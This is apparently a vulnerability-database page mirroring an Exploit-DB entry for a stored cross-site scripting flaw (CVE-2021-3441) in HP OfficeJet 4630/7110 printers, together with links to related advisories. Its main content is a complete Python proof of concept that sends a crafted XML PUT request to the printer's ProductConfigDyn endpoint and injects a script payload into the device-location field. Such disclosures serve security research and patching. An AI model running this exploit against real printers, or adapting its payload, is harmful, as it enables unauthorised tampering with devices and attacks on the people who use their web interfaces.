Lucene search
+L

HP OfficeJet 4630/7110 MYM1FN2025AR/2117A - Stored Cross-Site Scripting (XSS)

🗓️ 25 Aug 2021 00:00:00Reported by Tyler ButlerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 314 Views

HP OfficeJet 4630/7110 XSS Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-3441
29 Oct 202112:15
attackerkb
circl
Circl
CVE-2021-3441
20 Aug 202109:55
circl
cnnvd
CNNVD
Hp OfficeJet 7110 Wide Format Eprinter 跨站脚本漏洞
29 Oct 202100:00
cnnvd
cve
CVE
CVE-2021-3441
29 Oct 202111:34
cve
cvelist
Cvelist
CVE-2021-3441
29 Oct 202111:34
cvelist
euvd
EUVD
EUVD-2021-26767
7 Oct 202500:30
euvd
hp
Hewlett-Packard
HP OfficeJet 7110 Wide Format ePrinter – Cross-Site Scripting (XSS)
19 Aug 202100:00
hp
nvd
NVD
CVE-2021-3441
29 Oct 202112:15
nvd
openvas
OpenVAS
HP OfficeJet 7110 XSS Vulnerability (HPSBPI03742)
2 Nov 202100:00
openvas
osv
OSV
CVE-2021-3441
29 Oct 202112:15
osv
Rows per page
# Exploit Title: HP OfficeJet 4630/7110 MYM1FN2025AR 2117A – Stored Cross-Site Scripting (XSS)
# Date: 01/08/2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www8.hp.com/
# Vendor Bulletin: https://support.hp.com/ie-en/document/ish_4433829-4433857-16/hpsbpi03742
# Researcher Bulletin: https://tbutler.org/2021/04/29/hp-officejet-4630
# Version: HP OfficeJet 7110 Wide Format ePrinter
# Tested on: HP Officejet 4630 e-All-in-One Printer series model number B4L03A

# PoC:
import requests
import json
from requests.exceptions import HTTPError

target = 'http://192.168.223.1'   # The IP of the vulnerable taget
payload = '''<script>alert('XSS');</script>'''  # The XSS injection payload you want to use
path='/DevMgmt/ProductConfigDyn.xml'   # Path location of the PUT command
pre = '''
<?xml version="1.0" encoding="UTF-8"?>
<!-- THIS DATA SUBJECT TO DISCLAIMER(S) INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd">
	<prdcfgdyn2:ProductSettings>
		<prdcfgdyn:DeviceInformation>
			<dd:DeviceLocation>
'''  # The start of the request body
post = '''
            </dd:DeviceLocation>
		</prdcfgdyn:DeviceInformation>
	</prdcfgdyn2:ProductSettings>
</prdcfgdyn2:ProductConfigDyn>
'''   # The end of the request body
body = pre + payload + post


headers = {
            'Host':'192.168.223.1',
            'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
            'Accept':'*/*',
            'Accept-Language':'en-US,en;q=0.5',
            'Accept-Encoding':'gzip, deflate',
            'Content-Type':'text/xml',
            'Content-Length':str(len(body.encode('utf-8'))),
            'Origin':'https://192.168.223.1',
            'Connection':'close',
            'Referer':target,
        }

print('{!} Starting HP Officejet 4630 XSS Injector .... \n    Author: Tyler Butler\n    @tbutler0x90')
try:
    print('{!} Injecting payload :',payload)
    response = requests.put(target+path, headers = headers, data = body)
    response.raise_for_status()
except HTTPError as http_err:
    print('{X}',f'HTTP error occurred: {http_err}')
except Exception as err:
    print('{X}',f'Other error occurred: {err}')
else:
    print('{!} Success!')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Oct 2021 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 23.5
CVSS 3.14.8
EPSS0.01729
314